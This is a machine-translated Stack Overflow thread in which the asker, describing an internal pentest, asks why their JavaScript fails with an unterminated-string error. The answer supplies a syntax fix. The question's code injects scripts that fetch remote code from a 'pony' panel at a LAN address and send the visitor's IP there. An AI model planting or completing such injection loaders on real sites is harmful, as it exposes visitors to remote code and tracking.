Javascript格式错误?

时间:2013-08-15 09:31:29

标签: javascript

感谢您花时间阅读并帮助我。

我正在尝试进行内部局域网测试,我真的没有使用javascript,这可以解释为什么我的代码无效。

任何人都知道出了什么问题?我认为我的格式在某个地方。

function pentest()
{ 
x = document.getElementById("pentestpayload");

if (x == null)
{
    document.write ( " <script>function getip(json) {
    document.write('<script type=\\\"application/javascript\\\"
    src=\\\"http://192.168.1.64:1000/pony.php?id=\'+
    json.ip + \'\\\"></scr\'+\'ipt>');
};</script>
");
document.write("<script id='pentestpayload' type='application/javascript'
src='http://192.168.1.64:1001/panel/getpony.php?pony=getpony'></script>");
}
}
pentest();

firebug在javascript控制台中出现以下错误:

 SyntaxError: unterminated string literal

 document.write ( " <script>function getip(json) { document.write('<script typ

 test.js (line 7, col 17)`

1 个答案:

答案 0 :(得分:0)

document.write ( " <script>function getip(json) {

应该是

document.write ( " <script>function getip(json) { ");

因为您没有以结束document.write()(结束字符串)和结束函数的"结束函数)

但这也有问题,你最想要的是如何做一个你喜欢格式的多线字符串

"myString \
that keeps on rocking"

但是你要做的事情并不是最佳的,应该总体上避免。